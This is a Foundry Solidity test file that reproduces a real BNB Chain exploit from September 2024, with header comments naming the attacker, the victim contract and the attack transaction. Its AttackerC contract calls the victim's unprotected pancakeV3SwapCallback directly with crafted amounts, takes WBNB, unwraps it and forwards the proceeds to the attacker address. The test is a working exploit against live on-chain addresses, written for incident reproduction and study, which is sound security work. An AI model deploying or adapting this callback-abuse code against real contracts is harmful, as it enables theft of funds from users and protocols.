src/test/2024-09/unverified_766a_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 100 USD
7// Attacker : https://bscscan.com/address/0xba35d089addac99a8e7bcd1a25712b1702623ae3
8// Attack Contract : https://bscscan.com/address/0xd310431e98412eb9a7c66808478bf08fdea81e2a
9// Vulnerable Contract : https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a58
10// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x73d459ad3c926f5247a2018197d13b2a0acbc1fc46e1e54525c210a46130a56b
11 
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a58
14// @Analysis
15 
16// Post-mortem : https://x.com/TenArmorAlert/status/1836339028616188321
17// Twitter Guy : https://x.com/TenArmorAlert/status/1836339028616188321
18// Hacking God : N/A
19 
20address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
21address constant addr1 = 0x766a0936FF0aD045d39871846194eDBd5DF63a58;
22address constant attacker = 0xbA35D089adDaC99A8e7BcD1a25712B1702623Ae3;
23address constant addr2 = 0x71cd31a564FF30ba61d7167a02Babc1484034E84;
24 
25contract ContractTest is Test {
26    function setUp() public {
27        vm.createSelectFork("bsc", 42357807);
28        deal(attacker, 3.52e-15 ether);
29    }
30    
31    function testPoC() public {
32        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
33        vm.startPrank(attacker, attacker);
34        AttackerC attC = new AttackerC();
35        attC.attack{value: 3.52e-15 ether}();
36        vm.stopPrank();
37        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
38        emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(address(attC)), 18);
39    }
40}
41 
42// 0xD310431E98412Eb9a7c66808478bF08fdea81E2a
43contract AttackerC {
44    function attack() public payable {
45        int256 amount0Delta = -247659866327218868765;
46        int256 amount1Delta = int256(int(51156128500000 * 3600));
47        bytes memory data = abi.encode(address(this), addr1);
48 
49        bytes4 sel = bytes4(keccak256("pancakeV3SwapCallback(int256,int256,bytes)"));
50        (bool ok, ) = addr2.call(abi.encodeWithSelector(sel, amount0Delta, amount1Delta, data));
51        require(ok, "callback failed");
52 
53        withdraw();
54 
55        (bool s, ) = attacker.call{value:address(this).balance}("");
56    }
57  
58    function withdraw() public {
59        uint bal = IERC20(wbnb).balanceOf(address(this));
60        if (bal > 1) {
61            // Use call to avoid explicit conversion error
62            (bool ok, ) = wbnb.call(abi.encodeWithSignature("withdraw(uint256)", bal - 1));
63            require(ok, "withdraw failed");
64        }
65    }
66 
67    function token1() external pure returns (address) {
68        return wbnb;
69    }
70 
71    // fallback as per trace: no logic
72    fallback() external payable { }
73    receive() external payable { }
74}